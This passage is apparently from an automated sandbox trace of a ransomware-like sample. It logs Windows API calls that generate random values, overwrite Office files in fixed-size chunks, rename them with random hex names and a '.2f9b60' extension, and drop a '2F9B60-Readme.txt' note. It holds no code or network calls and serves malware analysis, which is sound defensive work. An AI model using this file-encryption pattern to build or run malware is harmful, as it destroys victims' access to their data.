Seed=0x3ea0fc50) returned 0x46f344a6 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x3f7837c6 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x54269b34 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x759aed7e [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x6874b6d5 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x520ef23c [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x223ad562 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x3f826ddc [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x1dd12a [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x42df65eb [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x1843fe7f [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x3adc5f54 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x4a696a95 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x8d44643 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x3b37c9f9 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x69dcaa98 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x4b381ad2 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x4496813f [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x13dc4382 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x7b6093a5 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x7d5ff923 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x1279fe77 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x7fd3e7b6 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x2c1669f8 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x6aad1dc7 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x64f33781 [0119.517] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x25bcbd24 [0119.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860930 [0119.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c00 [0119.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609c0) returned 1 [0119.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860a80) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201b4e0 [0119.525] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.525] ReadFile (in: hFile=0x17e8, lpBuffer=0x4201b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ea0fcc0, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesRead=0x3ea0fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.551] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0119.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860840) returned 1 [0119.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0119.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0119.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0119.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860960) returned 1 [0119.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.552] WriteFile (in: hFile=0x17e8, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ea0fcc0, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x3ea0fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0119.568] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.568] ReadFile (in: hFile=0x17e8, lpBuffer=0x4201b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ea0fcc0, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesRead=0x3ea0fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.932] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0119.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0119.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0119.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0119.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceda600 [0119.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0119.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0119.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0119.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0119.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0119.934] WriteFile (in: hFile=0x17e8, lpBuffer=0x1ceda600*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ea0fcc0, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesWritten=0x3ea0fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0120.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceda600) returned 1 [0120.068] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x72400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.068] ReadFile (in: hFile=0x17e8, lpBuffer=0x4201b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ea0fcc0, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesRead=0x3ea0fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0120.418] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x72400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0120.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0120.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0120.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202c4d00 [0120.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0120.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0120.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859af0) returned 1 [0120.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0120.420] WriteFile (in: hFile=0x17e8, lpBuffer=0x202c4d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ea0fcc0, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesWritten=0x3ea0fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c4d00) returned 1 [0128.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a3500 [0128.434] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.704] WriteFile (in: hFile=0x17e8, lpBuffer=0x133a20*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3ea0fd70, lpOverlapped=0x0 | out: lpBuffer=0x133a20*, lpNumberOfBytesWritten=0x3ea0fd70*=0x14a, lpOverlapped=0x0) returned 1 [0128.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0128.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0128.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0128.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0128.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0128.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0128.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0128.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0128.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0128.709] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="58") returned 2 [0128.709] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="c5") returned 2 [0128.709] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="f2") returned 2 [0128.709] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="39") returned 2 [0128.709] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="7b") returned 2 [0128.709] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="79") returned 2 [0128.709] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="19") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="db") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="b2") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="5e") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="5d") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="77") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="94") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="e6") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="df") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="de") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="31") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="07") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="ce") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="d0") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="81") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="97") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="86") returned 2 [0128.710] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="c4") returned 2 [0128.710] RtlInitAnsiString (in: DestinationString=0x3ea0fde8, SourceString="58c5f2397b7919dbb25e5d7794e6dfde3107ced0819786c4" | out: DestinationString="58c5f2397b7919dbb25e5d7794e6dfde3107ced0819786c4") [0128.710] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ea0fdb8, SourceString="58c5f2397b7919dbb25e5d7794e6dfde3107ced0819786c4", AllocateDestinationString=1 | out: DestinationString="58c5f2397b7919dbb25e5d7794e6dfde3107ced0819786c4") returned 0x0 [0128.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a33b0 [0128.711] wcscat (in: _Dest=0x1b86b790, _Source="58c5f2397b79" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\58c5f2397b79") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\58c5f2397b79" [0128.711] wcscat (in: _Dest=0x1b86b790, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\58c5f2397b79.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\58c5f2397b79.2f9b60" [0128.711] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\58c5f2397b79.2f9b60", NtPathName=0x3ea0fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\58c5f2397b79.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8615f0 [0128.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0128.713] NtQueryInformationFile (in: FileHandle=0x17e8, IoStatusBlock=0x3ea0fdf8, FileInformation=0x3ea0fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ea0fdf8, FileInformation=0x3ea0fe08) returned 0x0 [0128.713] NtSetInformationFile (FileHandle=0x17e8, IoStatusBlock=0x3ea0fdf8, FileInformation=0x3ea0fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b790) returned 1 [0128.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a33b0) returned 1 [0128.718] FlushFileBuffers (hFile=0x17e8) returned 1 [0128.720] CloseHandle (hObject=0x17e8) returned 1 [0128.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86b790 [0128.721] wcscpy (in: _Dest=0x1b86b790, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0128.721] wcscat (in: _Dest=0x1b86b790, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0128.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0128.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b790) returned 1 [0128.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aead0) returned 1 Thread: id = 1401 os_tid = 0x1838 [0119.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 0x20 [0119.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL", dwFileAttributes=0x20) returned 1 [0119.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd58 [0119.492] GetFileSizeEx (in: hFile=0xd58, lpFileSize=0x3ebcf880 | out: lpFileSize=0x3ebcf880*=164216) returned 1 [0119.492] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x28174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.492] ReadFile (in: hFile=0xd58, lpBuffer=0x3ebcf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ebcf848, lpOverlapped=0x0 | out: lpBuffer=0x3ebcf800*, lpNumberOfBytesRead=0x3ebcf848*=0x4, lpOverlapped=0x0) returned 1 [0119.497] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0119.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ab0 [0119.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0119.497] NtQuerySystemTime (in: CurrentTime=0x3ebcf740 | out: CurrentTime=0x3ebcf740*=132462177249166000) returned 0x0 [0119.497] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x799013f1 [0119.497] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x34ffe3c0 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x6eaba65a [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x694845b0 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x3e938e1f [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x345480c0 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x106040a1 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x57df297e [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x3684b0f7 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x3cb5ca19 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x567c870a [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x5a594233 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x7c363dd9 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x4b7c1907 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x4fdc1b2e [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x68229038 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x56b6ffa2 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x1203360 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x2484afa2 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0xe1dcaf3 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x1e7baac [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x5b88dff3 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x7dbb24e8 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x30366fe7 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x1b814291 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x3d524f1a [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x27da68ff [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x593b746f [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0xf0340a2 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x10e9518e [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x36708852 [0119.498] RtlRandomEx (in: Seed=0x3ebcf730 | out: Seed=0x3ebcf730) returned 0x77dcc72e [0119.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860bd0 [0119.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0119.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860cf0 [0119.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0119.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0119.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20180d80 [0119.507] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.507] ReadFile (in: hFile=0xd58, lpBuffer=0x20180d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ebcf7a0, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesRead=0x3ebcf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.527] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0119.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860a80) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201f0f0 [0119.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0119.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0119.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609c0) returned 1 [0119.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.528] WriteFile (in: hFile=0xd58, lpBuffer=0x4201f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ebcf7a0, lpOverlapped=0x0 | out: lpBuffer=0x4201f0f0*, lpNumberOfBytesWritten=0x3ebcf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201f0f0) returned 1 [0119.567] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.567] ReadFile (in: hFile=0xd58, lpBuffer=0x20180d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ebcf7a0, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesRead=0x3ebcf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.924] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0119.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0119.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f66910 [0119.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0119.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0119.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0119.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0119.925] WriteFile (in: hFile=0xd58, lpBuffer=0x41f66910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ebcf7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f66910*, lpNumberOfBytesWritten=0x3ebcf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f66910) returned 1 [0122.389] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x24578, lpNewFilePointer=0x0, 